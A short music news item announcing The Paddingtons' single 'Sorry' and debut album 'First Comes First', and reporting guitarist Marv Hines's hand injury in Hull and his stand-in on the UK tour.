The Paddingtons release their new single ' Sorry' on 17th October, a new Stephen Street produced version of the song from the forthcoming debut album, 'First Comes First' which follows on 31st October through Poptones/ Mercury.
Meanwhile guitarist Marv Hines badly injured his right hand, severing tendons in his wrist during a night out with the band at a club in their home town of Hull. Having lost a lot of blood he was rushed to hospital where he was operated on immediately and placed on a drip. He has made good progress, and is out on the road with his bandmates but is not expected to be playing guitar for 3 months. Stuee Lepage from
Kill City is standing in for him during their current UK tour.
